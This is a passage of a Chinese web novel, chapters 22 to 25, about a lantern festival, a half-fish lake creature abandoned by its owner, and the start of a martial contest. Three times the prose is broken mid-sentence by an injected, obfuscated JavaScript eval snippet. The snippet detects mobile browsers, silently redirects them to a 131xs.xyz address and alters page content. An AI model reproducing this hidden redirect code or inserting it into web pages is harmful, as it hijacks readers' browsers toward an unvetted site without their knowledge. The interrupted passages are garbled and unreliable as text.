"柳漠澜,"他第一次这样连名带姓地叫他,心里像揣了只扑腾的鸟,"下次花开时,你还来吗?" 柳漠澜站在门内的阴影里,脸上的表情看不真切。他沉默了片刻,抬手将袖中藏着的花瓣抖落在地,那些粉白的花片落在青石板上,恰好拼成个不完整的圆。 "要看江大人舍不舍得这坛桃花酿了,"他晃了晃手中不知何时多出来的酒壶,"毕竟北地的血桃,总比南都的花凉些。" 江知烨望着对方消失在门后的背影,忽然觉得方才在桃林里没说完的话,都化作了落在肩头的花瓣。下意识地低头看了看自己的手,仿佛还能感觉到那人指尖的微凉,以及那声轻笑里,藏着的半朵未开的桃花。 园外的更夫敲起了二鼓,江知烨摸了摸袖袋里的铜钱,上面的"春"字被捂得发烫。他回头望向桃林深处,那棵老桃树上的银钉在暮色中闪着微光,像谁留在春天里的一个吻。 “等等我!”江知烨转身追上那道背影,视线放远,一枚铜钱挂在了银钉上,闪着明晃晃地金色...... 22. 浮瓜节 南清城的蝉鸣刚攀上柳梢,护城河已浮起万千荷叶盏。戏台上,十几个扮成水傀儡的孩童正踩着鼓点晃悠。 鱼皮面具在日光下泛着虹彩,最前排那个扎冲天辫的小囡总把铜铃腰带踢到膝头,顾夜白看得直乐,手肘撞了撞顾时夜:"哥你瞧,她腰上的铃快把自己晃进水里了!" "去年这时候她还在娘怀里啃莲蓬,"顾时夜替弟弟理正歪斜的发冠,"今年倒敢踩着高跷上台了。" 江知烨突然从人群里挤过来,发间还沾着片荷花瓣。他蹲下身时,方妙闻到他衣领里散出的水草味:"快看水榭那边!有个姑娘用莲茎穿了九颗芡实!"话音未落,还没看清对方动作,那抹青影已跃入水中,溅起的水花惊飞了荷上三两只红蜻蜓。方妙看见江知烨在水下翻了个身,尾鳍划开的浪纹里透出淡灰蓝光泽。 "彩虹!"顾夜白突然指着河面。午后的阳光穿过江知烨激起的水幕,竟在粼粼波光上织出半道迷你虹影,引得两岸百姓惊呼。 柳漠澜放下毛笔,瞳孔里映着那道转瞬即逝的光。 “真是的.....多大人了。”柳漠澜无奈摇了摇头,笑意却直达眼底。 "江大人!别把鱼苗都吓跑了!"桥上有渔翁笑骂。 顾时夜笑着摇头,从袖中摸出个油纸包递给安德鲁:"刚在巷口买的桂花糕,带了芝麻馅的。" 闻言安德鲁掰了块塞进嘴里,芝麻馅的味道席卷口腔:"比我们那儿的奶疙瘩强!漠北那硬邦邦的奶疙瘩,牙都快崩掉了..."他正说得兴起,方妙忽然拽了拽他袖子。 邻桌两个穿皂衣的捕快正盯着他们,尤其留意江知烨发间未干的水迹——其中一人腰牌上的"都"字被汗渍洇得模糊,却仍能辨出南都中书省部的徽记。 柳漠澜不动声色地将素笺卷起,竹节纹的纸边擦过镇纸的麒麟雕纹。他竹杖在桌下轻敲三下,顾时夜立刻起身:"走,去看水嬉傩舞,听说今年有新面具。" 七人穿过熙攘人群时,方妙注意到柳漠澜刻意放慢脚步,让安德鲁和江知烨走在中间。护城河拐角处,十几个戴鱼龙面具的舞者正在浅滩踏歌。 "那面具眼睛是空的,"顾夜白好奇地凑近,"里面是不是藏了萤火虫?"话音未落,个舞者突然转身,面具上的银须扫过他鼻尖。 江知烨忽然低声说:"方才那捕快腰间挂着南都家的玉牌。" 安德鲁捏紧了酒囊,狮眼纹的皮革被攥得发皱,“平日里他们很少露面,不知道今天来是不是真的为了过节。” 南城区的南都中书省部,安德鲁的上级,南清城最大势力,也是安德鲁最想扳倒的势力。 暮色漫过河面时,第一盏荷灯漂了起来。方妙将盏琉璃灯放进水里,灯芯穿的开元通宝在波心闪了闪。 "得对着灯芯许愿,"安德鲁替她拢了拢被风吹乱的发丝,"别再像去年那样许点不正经的愿望了。" 柳漠澜站在桥头,望着万千灯火顺流而下,回想起望星丘的雪——那时谢白玉的血染红了埋着血桃核的雪坑,而远处炸开的烟花,绿莹莹的光像极了此刻河面上的灯影。 "在想什么呢"江知烨走过来轻声询问。 柳漠澜抿了口烈酒,''烧刀子''烧得喉咙发暖:"在想雪落进热羊奶的声音。" 方妙听见了,回头笑道:"什么时候你们也去北方看看,有好多有意思的呢!看冰雕!还要在冰湖上凿洞钓鱼!" 闻言顾夜白立刻附和,却被顾时夜按住肩膀:"你先学会在雪地里站稳再说。" 江知烨突然指着上游:"看!水傀儡的画舫!"那艘装饰着彩绸的船缓缓驶来,孩童们已摘了面具,正往水里撒麦芽糖。 方妙眼尖,看见那个总踩错步的小囡攥着江知烨的手,往他掌心塞了块裹着荷叶的糖。 "喂,给我留点儿!"顾夜白追着船跑,裤脚溅了水花,见状顾时夜无奈地拿条绳子替他系紧:"再跑就掉河里喂鱼了。" 柳漠澜望着画舫上的走马灯,火光映在水面,将江知烨的影子拉得很长。 或许他在想,现在这样也挺好吧..... 七人沿着河岸往回走,安德鲁哼着北地的《冰湖谣》,江知烨和顾夜白顾时夜两人比赛踢石子,白鸽时不时回头数人数,方妙则陪着柳漠澜慢慢走。 路过那棵老槐树时,方妙忽然停步:"你们还记得吗?去年江知烨就是在这里,被安德鲁推下水捞他的狼牙坠子!" "那是他自己笨!"安德鲁笑道,拍着江知烨的背,"那次他可长记性了。" 江知烨作势要扑,却被白鸽拦住:"当心撞到提灯笼的老人家。" 方妙似乎察觉到柳漠澜的沉默,轻轻拽了拽他袖子:"阿澜哥,明年浮瓜节,我们还来放灯吗?" 柳漠澜闻言思索片刻:"来。"随后又添了一句,"还要带安德鲁酿的羊奶酒,江知烨负责抓鲫鱼。" "我还要在水里翻三百个跟头!"江知烨突然喊,"让彩虹从日头落一直挂到天亮!" 顾夜白跟着起哄,方妙突然从袖中取出块干花饼递给柳漠澜:"尝尝,加了北地沙枣的。" 糖糕很甜,甜得好似可以软化一切烦恼。 此时南清城的更夫敲起二鼓,七人的身影转过街角时,柳漠澜回头望了眼护城河——水面上漂着片荷叶,叶心盛着积水,在月光下闪了闪。 他们走到城门口时,安德鲁忽然停步:"你们听,是不是有笛声?"夜风送来若有若无的竹笛响,调子像是《归雁曲》。 方妙却指着夜空笑:"看呀!好大的一朵烟花!” 绿莹莹的光在墨蓝的天幕炸开,火星子簌簌落下,映得河水如碎玉铺陈。 河风忽然转凉,卷起方妙鬓边的碎发。她伸手去捋,却碰掉了发间的珍珠步摇。江知烨眼疾手快跳进水里,三息后举着步摇浮出水面,珠串上还挂着条摇头摆尾的小鱼。“喏,给你!”他甩着头发,水珠溅在顾夜白脸上。 “江大人!你又弄湿我衣服!”顾夜白抹着脸,却忍不住笑,“这鱼怎么办?” 方妙接过步摇,见小鱼正咬着珍珠打转,她记得安德鲁说过,北地冰湖里有种红尾鱼,会追着发光的东西跑。 “放了吧,”她蹲下身将鱼捧进水里,“谢谢你帮我捡步摇呀。” 桥洞下传来孩童的歌声。几个扮成水傀儡的小囡躲在石缝里,正用荷叶盛水往铜铃上浇:“浮瓜漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694754|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水傀儡跳,彩虹桥下来神仙……”顾夜白立刻来了兴致,摸出把糖炒栗子分给他们:“唱得真好!再唱段歌谣呗?” 安德鲁闻言大笑,把瓜皮往空中一抛:“我也来,听着!”他用北地土语唱了段《冰湖渔歌》,调子粗粝却带着奇异的韵律。 方妙跟着哼了两句,却把音调拐到了江南小调上,引得孩子们咯咯笑。 更夫敲过三更鼓时,七人走到城门口。方妙忽然拽住柳漠澜:“你看!”墙角蹲着个卖水傀儡面具的老头,竹筐里躺着个鱼皮面具,眼洞处嵌着两枚磨圆的鹅卵石。 “这面具……好奇怪。”顾时夜拿起一个面具端详起来。 空气瞬间凝固,柳漠澜接过面具,指尖触到鱼皮上的刀痕——三道平行的刻痕。 “老人家,这面具哪来的?” 老头咳了两声:“收来的旧货。” 听对方这样讲柳漠澜将面具放回筐里,竹杖在青石板上敲出规律的声响。 听到暗号江知烨神色一变,推了几下安德鲁示意快走,而顾夜白却盯着面具不放:“哥,这鱼鳃……” “回家再说。”顾时夜拽着弟弟转身。江知烨警惕地环顾四周,时刻保持警惕。 走到巷口时,方妙忽然低声问:“那面具……有什么问题吗?” 柳漠澜没说话,江知烨拍了拍他肩膀,以只有彼此可以听见的音量说道:“别担心。” “好。”柳漠澜轻声回应,他不想去感受阴影里的目光。 跟着几人回到江知烨的宅院,柳漠澜独自走到后院的梧桐树下。 随即他摸出一枚银钉,借着月光看清钉尾刻的小字——“西垣春至,漠澜亲启”。 此刻浮瓜节的灯火还在远处明灭,他忽然将银钉按进树皮,钉头的蝶图腾恰好对准南疆方向。 “在干嘛呢?”方妙的声音从身后传来。她捧着碗绿豆沙,碗沿还沾着一点沙枣蜜。“安德鲁说,这沙枣蜜是他特意留的,尝尝?” 柳漠澜接过碗,舌尖尝到熟悉的甜涩——先甜后涩,最后留下回甘。 “其实我知道,”方妙忽然说,“我们大家都有过去的秘密.....”她望着梧桐树的影子,“但你不想说,我们就不问。就像安德鲁从不提他在漠北的事,江知烨也不说他为什么总在月圆夜去河边。”柳漠澜猛地抬头,眼里泛起一丝一样的情绪。 此时,前院传来江知烨的喊声:“喂!快来吃我烤的鳜鱼!” “走啦,”方妙拽了拽他袖子,“再不去,江知烨要把鱼骨头都啃光了。”闻言柳漠澜点点头,跟着她往前院走。 “明年浮瓜节,”江知烨啃着鱼骨头,含糊地说,“我要在水里编个彩虹桥,让方妙的荷灯从这头漂到那头!” 方妙看着柳漠澜,见他终于露出笑,便把一块烤得最嫩的鱼肉放进他碗里:“尝尝,加了辣的。” 鱼肉很有味,带着河水的鲜和辣椒的香。 此时,天边泛起鱼肚白,浮瓜节的最后一盏荷灯漂向远方。 有些告别不是结束,而是像浮在水面的瓜,看似远去,却在某个不经意的瞬间,随着流水和灯火,重新回到你眼前,告诉你:山河虽远,故人未散。 23. 青磷泣:无还者的溺歌 仲夏夜的溽热像一张密不透风的网,打更夫李老头攥着竹梆的手心里全是汗,木梆子敲在竹筒上的声响也透着乏意:“小心烛火——防贼防盗——” 嗓音拖得老长,在空荡的巷弄里撞出回音。 李老头走到烟屿湖的九曲桥头,桥面铺着被百年脚步磨圆的鹅卵石,踩上去硌得慌。 李老头把灯笼挂在桥柱上,蹲下身时膝盖骨“咔吧”响了一声——年纪大了,骨头缝里都浸着湿气。 湖水漫过指缝时凉得沁人,他掬起一捧水拍在脸上,水珠顺着皱纹往下淌。刚要抹把脸,“哗啦”一声水响从脚边炸开,惊得他手肘撞在桥栏上。 定睛一瞧,原是只夜鹭扑棱着翅膀掠过水面。 “呸,老糊涂了。”他啐了口,揉着发疼的胳膊肘直起身。 刚要取灯笼,脚腕突然传来一阵麻痒,像有鱼尾巴扫过。 李老头低头往湖里看,灯笼的光只能照见三尺来深的水,再往下就是浓墨似的黑。 李老头勾着腰又凑近些,忽的一阵风把云吹开,月光猛地沉进湖里—— 湖底那截朽木旁,分明浮着一缕赤红的发丝,像晕染的血液。 李老头揉了揉眼,再看时却只剩漆黑。他心里发毛,刚要直起腰,水面“咕嘟”冒了个泡,一团白花花的东西从水底升上来——是只手背,指甲盖泛着青紫色,正慢慢往水面伸。 “妈呀!”李老头一屁股坐在桥上,灯笼“哐当”掉进湖里,火光在水里打了个旋,眨眼就灭了。 连滚带爬往岸上跑,草鞋跑掉一只也顾不上,只听得身后湖水“哗啦啦”响,像是有人在水里追他,湿淋淋的脚步声一下下砸在耳膜上。 跑到巷口时,李老头回头望了眼,烟屿湖平静得像什么都没发生过,只有那盏浮在水面的灯笼,还在随波晃着最后一点残红...... 江知烨的马蹄踏过石板桥时,桥缝里渗出的潮气正裹着腐叶味往上冒。 顾夜白蹲在桥栏边,指尖捻起一撮水底捞起的绿苔——那苔藓黏糊糊的,像团发馊的浆糊,里层还缠着几缕暗红丝线,细看竟是碎发。 “李老头说看见水鬼的手,指甲盖是青的。”江知烨用靴尖踢了踢脚边的瓦罐,里头装着今早从湖边捞的死鱼,“可这鱼死了至少三天,鳃帮子都沤成黑泥了。” 顾时夜的船桨在湖心搅出个漩涡,墨绿色的水翻上来,带出股烂莲蓬的腥气。他抹了把脸上的水珠,忽然把桨往水里一插:“大人!湖底好像有东西勾住了!” 众人凑到岸边时,顾时夜正费力拽着船桨——那木头桨柄上缠着团乌黑的东西。 他咬牙往上一提,“哗啦”一声带起半尺高的水花,只见桨叶上缠着的竟是束长发,发丝根根分明,末端还坠着片碎银簪子。 方妙“啊”地退后半步,那头发突然松开桨叶,像条滑腻的水蛇沉回水底,水面只留下一圈圈迅速淡去的涟漪。 “是哪家小姐的东西?”江知烨捏着银簪碎片细看,那上头刻着半朵残败的玉兰。 方妙翻着记事本,:“问了南街布庄的婆子,说半年前有位姓珍的小姐常来湖边放生,有次还哭着扔了一筐死锦鲤。”她顿了顿,压低声音,“那婆子说,珍小姐扔鱼时嘴里直念叨‘不如都死了干净’,眼瞅着就像中了邪。” ....... 夜漏敲过三更,顾夜白举着的羊角灯笼忽明忽暗,灯芯爆出的火星子落在桥栏上。 “都仔细看着水面。” 顾时夜忽然捂住鼻子:“什么味?跟烂了的豆酱似的。”话音未落,“啪嗒”一声闷响从脚边传来——一条巴掌大的锦鲤蹦上桥面,鱼鳃翕动着,鳞片却根根倒竖,像被人插了满背的碎玻璃。 方妙刚想凑近,却见那鱼肚上鼓起个黄白色的脓包,随着鱼身扑腾,脓包表面的薄膜被撑得透亮,隐约能看见里头蠕动的黑影。 “别碰!”顾夜白拽住她手腕时,那脓包“啵”地破了,挤出股混着血丝的脓浆,溅在石板上滋滋冒泡。 顾时夜抄起船桨将鱼扫进湖里,可那鱼刚落水就肚皮朝天,翻起的鱼白上布满针孔大的窟窿,无数细小的黑虫正从窟窿里钻出来。 “嘶……”方妙倒抽凉气时,脚腕突然被什么东西缠了下,凉丝丝的像泡过水的麻绳。她猛地甩腿,却什么都没看见,只有水面荡开的波纹里,漂着几根暗红的长发。 顾夜白将灯笼凑到水边,灯光下的湖水浑浊不堪,但隐约能看见水底飘着片暗红色的絮状物。 就在这时,月亮从云缝里挤出来,清辉猛地泼在湖面上。众人顺着光亮望去,只见湖心那片睡莲丛中,正浮着一大团红色——不是血,是湿漉漉的长发,发尾系着枚褪色的红绸结,在水里随波晃荡,像朵泡烂了的芍药。 方妙下意识探头去看,忽的感觉有道视线撞上她的目光—— 那是双嵌在水草里的眼睛,瞳孔黑得像吸光的洞,眼白泛着常年泡水的乳白,眼角还挂着丝缕墨绿色的水藻。 方妙的喉咙像被冰锥塞住,她想尖叫,却只能扯住顾夜白的衣袖拼命摇晃。 顾时夜举着灯笼照过去时,湖面上只剩那团红色长发猛地沉下去。 “水下有东西!”顾夜白的声音发颤,他用船桨戳了戳水面,却触到团软乎乎的东西。江知烨拔刀劈下,“噗”地一声砍进水里,再提起时,刀身上缠着的竟是更多长发,那些头发湿漉漉地滴着水,发丝间还夹着几片碎掉的玉兰花瓣,花瓣边缘已经沤成了黑褐色。 夜风突然卷过湖面,把灯笼吹得左右乱晃。 在明灭的光影里,方妙看见自己映在水里的倒影旁,正慢慢浮出半张脸——不是人的脸,而是覆盖着细密青鳞的下颌,鳞片缝里还卡着半截腐烂的锦鲤骨头。她猛地后退,后背撞在桥栏上,却听见水底传来极轻的“咯咯”声,像有人含着口水在笑。 湖面上的红色长发又漂了起来,这回想看清,却见那发色在月光下变了——红得更深,更暗,像刚从染缸里捞出来,还在往下滴着粘稠的液体。 江知烨握紧刀柄,却听见顾时夜失声喊:“看水里!那些鱼……” 不知何时,湖面上漂满了死鱼,全是炸着鳞的锦鲤,肚子朝上,肚皮上的脓包在月光下泛着诡异的荧光。 方妙捂住嘴干呕时,感觉脚腕又被什么东西缠住了——这次不是头发,是只冰凉的手,指甲刮过她的脚踝,留下道细细的血痕..... “啊啊啊——!” ....... 翌日清晨,江知烨独自站在岸边。 昨夜方妙的惊惶尖叫尚在耳畔回响,两小乌鸦再三摆手称“湖里的月光都透着邪性”,而白鸽已带着罗盘走访下游渔村。 没办法,只能自己单独来了。 三两下扯掉玄色外衫,冷白肌肤在晨光里泛起健康的光泽,随即江知烨纵身跃入水中。 潜到丈许深时,掌心触到黏腻的湖底淤泥,指缝间立刻涌出灰黑色浊流。 借着水面折射的光斑细看,淤泥里竟密密麻麻嵌着死鱼——全是炸鳞的锦鲤,凸起的鳞片像无数把生锈的小刀,在鱼腹上划开狰狞的裂口,眼珠浑浊地翻向水面。 正蹙眉环顾间,身后水流猛地一乱。江知烨旋身回首,只见丈许外的水影中,一道红发黑影正隔着水草凝视他。那人金瞳在水下泛着冷玉般的幽光,未待他反应,黑影已如离弦之箭冲来。 “来得好!”江知烨沉腰拧身,右拳裹挟着水流直击对方心口。 预想中激烈的缠斗并未发生,那“水鬼”只是闷哼一声,像片破布般软倒在水里,金色瞳孔迅速蒙上灰翳。 江知烨托着他往岸边游时才惊觉不对劲——这人生着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694755|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张秀挺面容,颈间却嵌着三对半透明的鱼鳃,每道鳃裂边缘泛着病态的潮红。从锁骨至腰腹,青灰色鳞片层层叠叠炸起;本该是双腿的部位已化形,脚踝却粘连在一起,趾间还残留着半透明的蹼膜。 介于兽与兽人之间的躯体,分明是副未完全化人的模样。 江知烨将那“人”安置在注满清水的陶缸里,便匆匆返回居所冲洗。湖底的淤泥蹭在皮肤上,带着股混杂着腐鱼和水草的酸臭,每一寸肌理都叫嚣着不适。 待携顾时夜、顾夜白两人再至时,陶缸里的怪人已醒,青灰色的手指抠着缸沿拼命挣扎,喉咙里发出“嗬嗬”的气音,却无半字成形。 “大人,这是……”顾夜白盯着缸中翻涌的鳞片,喉结滚动着不敢细看。 “李老头说的水鬼,多半就是他了。”江知烨敲了敲缸沿,“喂,听得懂人话么?” 回应他的唯有更剧烈的挣扎,那人的“鱼尾”拍得水花四溅,鳃裂因急促呼吸而张合。 恰在此时,江知烨忽道:“白鸽传来消息,找到那位姓珍的小姐了。”话音未落,缸中怪人猛地顿住,黏连的脚踝在水中扑腾,竟似要爬出来。 “看来能听懂。”江知烨扯了扯嘴角一阵嗤笑,“你俩找辆推车,把他带上。” “唉?这怎么搞嘛!”顾夜白抱怨的声音响彻天空。 三人就这么拉着陶缸走在街上时,立刻引来层层围观。有人指着缸里的半鱼人窃窃私语,有人捏着鼻子躲开那股越来越浓的腥气。 顾夜白苦着脸抱怨:“早知道该找块布盖上...瞧那大婶的眼神,跟看怪物似的。” 珍府的朱漆大门在日光下亮得晃眼,门环上的衔环兽首雕着狐狸面孔。 应门的老妇人见了江知烨腰间的令牌,立刻佝偻着腰请进。 “珍小姐安好。”江知烨打量着从屏风后转出的女子——那人穿着月白蹙金绣裙,狐尾拖在身后如团雪絮,行礼时袖口的珍珠璎珞轻轻晃出细碎光芒。 但直到陶缸被推到阶前时,对方眼尾都未抬一下,只盯着江知烨身后的太湖石,声音柔得像团棉花:“不知大人带这...物件来,所为何事?” 缸里的半鱼人突然用头撞向缸壁,粘连的脚腕在水里划出绝望的弧线。江知烨注意到珍小姐握着绢帕的手指骤然收紧,指节泛出青白:“半年前听闻小姐往湖里倒了筐死锦鲤?” “是染了怪病的鱼,”珍小姐垂眸抚着裙上的缠枝莲纹,“总不能看着它们烂在池子里,扔回湖里也算尘归尘、土归土。” 江知烨突然伸手从缸里捞起一缕水草:“小姐当真不认得他?瞧这鱼鳃的形状,倒像是贵府豢养的观赏鲤变的。” “大人说笑了,这怎么可能呢?”珍小姐终于抬眼,笑意却未达眼底,“我府里的鱼都是请专人照料的。”话音未落,陶缸里的半鱼人突然剧烈抽搐起来,炸开的鳞片簌簌掉进水里,金瞳里的光芒迅速黯淡下去。 返程路上,江知烨走在最后,这场拜访说不上顺利,但也说不上糟糕。 正想着,一颗圆润的珍珠滚落在了脚边。 珠身泛着淡粉色光晕,却沾着些许暗红血丝。江知烨心头一紧,上前查看时,只见缸中怪人双目圆睁,青灰色的脸颊上凝着水珠,颈侧鳃裂已停止翕动。 见状顾夜白惊呼,:“大人他....他断气了怎么办?” 半鱼人仰躺在缸底,炸开的鳞片已变得黯淡无光。江知烨伸手合上他的眼睑,指腹触到一片冰凉的湿润。 远处传来更夫敲梆子的声响,他将珍珠揣进袖袋,低声道:“找处干净的水域埋了吧...” 风掠过街巷,卷起几片落叶。江知烨回望那座紧闭的宅邸,或许这人临死前拼命想喊出的,并非什么冤屈,只是某个名字——那个在他变成怪物前,曾温柔唤他名字的人...... 24. 遗憾 我叫.....我不知道我叫什么......但我知道她的名字——叫“珍绛雪” 我记得最早的意识,是浸在温软的池水里。 那水是珍府后园莲池里的,总带着点荷香,春天有柳絮飘进来,秋天落满碎金似的桂花。 我和一群红鳞锦鲤挤在池底的假山洞里,起初分不清彼此,只知道甩动尾巴时,等待喂食。 那时没有“我”这个念头,像一片随波逐流的叶子,直到某个暮春的午后,我第一次看清了她的脸。 她蹲在汉白玉雕的池边,垂落的发丝像一匹白色的缎子,差点拂到水面。手里捏着一把鱼食,米粒似的东西撒下来时,同伴们都争着往上涌,我被挤在后面,只吃到几颗沉下来的碎屑。 可我没去抢,就那么仰望着她。 她的眼睛像含着一汪春水,笑起来时,眼角会弯成好看的月牙,声音比池底渗进来的泉水还要清甜:“小家伙们,慢些吃。” 从那天起,我开始懂得“等待”。 每天清晨,当第一缕阳光掠过假山,我就会游到池边水草稀疏的地方,等她来喂食。 她有时会穿着月白色的襦裙,裙摆上绣着细细的银线,随着她蹲坐的动作轻轻晃动;有时会披着藕荷色的披风,耳尖垂着的珍珠坠子,在风里发出细碎的声响。她会对着水面说话,说些园子里的花开了,说她新学的琴曲,说些我听不懂的闺中琐事。 我听不懂,但我喜欢听,喜欢看她指尖划过水面时,荡开的一圈圈温柔的波纹。 我渐渐能从一群锦鲤里认出自己了。 我的鳞片比同伴们更亮些,在阳光下会泛出橘红色的光。我学会了在她撒食时,精准地跃出水面接住颗粒,看她惊喜地拍手;学会了在她用指尖轻点水面时,轻轻蹭过她的指腹,感受那片肌肤的温热。那温热像一团小火,慢慢在我冰凉的鱼腹里烧起来,我不懂那是什么,只知道每次看到她,心脏的位置就会跳得特别快,尾巴也摇得更欢。 我以为这样的日子会很久很久,久到池边的柳树抽完新芽又落尽叶子,久到我从一条小鱼长成池里最大的锦鲤。 直到那个夏天,炎热像一张密不透风的网,罩住了整个莲池。 最先开始不对劲的,是我腹部的鳞片。它们不再光滑发亮,开始变得粗糙,甚至有些翘起。我以为是蹭到了假山的石头,没太在意。可没过几天,更多的鳞片竖了起来,像被火烧过的羽毛,碰一下就疼得厉害。池水里开始有奇怪的腥气,同伴们接二连三地翻了白肚,漂在水面上。 我躲在假山洞里,看着她站在池边,眉头紧锁。她不再撒食,只是让仆人往池水里撒一些白色的粉末。那些粉末呛得我呼吸困难,鳞片的疼痛却丝毫没有减轻。我想游到她面前,想让她看看我,像以前一样摸摸我的头,可我一靠近池边,腹部的剧痛就让我蜷缩回去。 她的身影越来越少出现在池边了。偶尔远远看见她,也是隔着廊子,由侍女撑着伞,脸上带着我从未见过的嫌恶。 有一次,我挣扎着游到水面,正好看见她站在廊下,对管家说:“那池子怕是不干净了,把那些死鱼都捞出来,扔远点。” 我的心猛地一沉。死鱼?我还活着啊! 那天傍晚,几个仆人拿着网兜下了池。他们粗鲁地捞起同伴们的尸体,网兜划过水面时,我拼命往池底躲,可腹部的剧痛让我动弹不得。一张黑网猛地罩下来,我被兜在里面,鳞片刮过网眼,疼得我几乎昏厥。我看见自己的鳞片在网兜里簌簌掉落,每一片都带着血丝。 他们把我和一堆死鱼扔在一辆板车上,车轱辘碾过石子路,颠得我骨头都快散了。我听见他们抱怨:“这鱼怎么还有气?怪瘆人的。”“珍小姐说了,一并扔湖里去,省得脏了园子。” 湖水冰冷刺骨,比莲池的水凉多了。我被扔下去时,正好砸在一堆腐烂的水草上,腥臭瞬间包裹了我。我想挣扎着游起来,可身体太重了,每一片竖起的鳞片都像插在肉里的刀。我看见板车远去的影子,看见珍府的飞檐在暮色中越来越模糊。 为什么? 这个念头像一根毒刺,扎进我快要停止跳动的心脏。为什么曾经温柔唤我“小家伙”的人,会用那样冷漠的眼神看着我被拖走?为什么她的声音里没有一丝怜悯,只有不耐烦的嫌恶? 湖水淹没了我的视线,也淹没了我最后的意识。但那股怨恨,像水底的暗流,没有随着呼吸停止而消失。它在我身体里盘旋、纠缠,把我从黑暗中拽了出来。 再次醒来时,我发现自己漂浮在湖面上。身体不再是滑腻的鱼皮,而是覆盖着半人半鱼的鳞片,颈间多出了几片会翕动的鳃。我试着摆动身体,发现下方不是鱼尾,而是两条粘连在一起的腿,脚踝处还残留着透明的蹼。 我成了一个怪物,一个介于鱼和人之间的怪物。 我不知道自己是怎么活下来的,或许是那股怨念支撑着我。 我在湖里住了下来,白天躲在水草深处,晚上才敢浮出水面。湖底有很多和我一样死去的同伴,他们的尸体已经腐烂,只剩下白花花的骨架和炸起的鳞片。 我看着它们,就像看着曾经的自己。 我学会了在水里无声地游动,学会了用那双金红色的眼睛凝视岸边。我常常游到离珍府最近的湖岸,远远望着后园的方向。我看见那座莲池被填平了,种上了新的花草;看见珍小姐坐着轿子出府,身边跟着新的侍女,笑容依旧温婉,只是再也没有看过这片湖水一眼。 她把我忘了,连同那池里的岁月,一起扔掉了。 我的身体始终停留在半人半鱼的状态,鳞片依旧炸着,每到阴雨天就隐隐作痛。我无法说话,喉咙里只能发出“嗬嗬”的气音;我无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694756|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上岸,粘连的脚踝让我连站立都做不到。 我像一个被世界遗弃的影子,在这片冰冷的湖里,守着一个早已褪色的梦。 直到那天,一个银白色头发的男人跳进了湖里。他的尾巴像鲨鱼一样有力,在水里划出流畅的弧线。当他拨开湖底的淤泥,看到那些死鱼时,我看见他皱紧了眉头。我不该靠近的,可那股熟悉的、来自珍府方向的气息让我失控了。我从水草里窜出来,想看看他是不是从珍府来的人,想问问她好不好。 可他太快了,一拳就打在我身上。我晕过去之前,只看见他震惊的眼神。 再醒来时,我在一个装满水的陶缸里。周围是陌生的街道,人们指着我窃窃私语,眼神里充满了恐惧和好奇。我看见那个银发男人,还有两个跟着他的人,他们推着我往前走,越走越熟悉——那青石板路,那朱漆大门,是珍府! 我的心疯狂地跳动起来,鳃裂因为激动而张合得飞快。我看见门开了,走出一个穿着月白襦裙的女子,耳尖垂着的珍珠坠子,和我记忆里的一模一样。 是她。 她站在台阶上,优雅地行礼,笑容得体,就像我第一次见到她时那样。可当那个银发男人侧身,让她看清楚缸里的我时,她的眼神没有一丝波澜,就像在看一块路边的石头。 “这怎么可能呢” 她说这不可能。 我的心像被一只无形的手攥紧,然后狠狠捏碎。 那些在湖里日夜守望的时光,那些被怨恨和思念反复煎熬的夜晚,在她这句轻飘飘的“怎么可能”面前,显得如此可笑。 原来我拼命想留住的过去,在她眼里,根本就没有存在过。 她甚至没有踏出门槛,连一步都不肯靠近。 大门在我眼前缓缓关上,像一道冰冷的墓碑,隔绝了我所有的幻想。陶缸开始移动,我知道自己要被带走了,带离这个让我爱恨交织的地方。 就在这时,一颗珠子从眼中滚落,滚到了那个银发男人的脚边。那是一颗珍珠,粉润的色泽里,透着一丝暗红的血丝。我看着它,忽然想起很多年前,在莲池里,她低头看我时,耳坠上的珍珠倒映在水中,像一颗落入凡尘的星。 原来鱼也是会流泪啊。 我的身体越来越冷,鳞片不再翕动,粘连的脚踝也停止了挣扎。我最后看了一眼那扇紧闭的大门,多想再听她叫一声“小家伙”,多想再蹭一蹭她温热的指尖。 可是没有了。 湖水很凉,但比不过她眼里的冷漠。 我闭上眼,感觉自己正在慢慢沉入湖底,回到那些死去的同伴身边。这一次,没有怨恨了,只有无尽的空茫。 如果有来生,我不想再做池中的锦鲤,不想再贪恋那片刻的温暖。 就让我做一颗沉在湖底的珍珠吧,藏着无人知晓的心事,直到腐烂成泥。 25. 秋闱比武记 戌时三刻的日光,将演武场的青石板染成琥珀色。 江知烨倚着雕花栏杆,红缨枪斜靠肩头,枪缨在风里如火焰般翻卷。 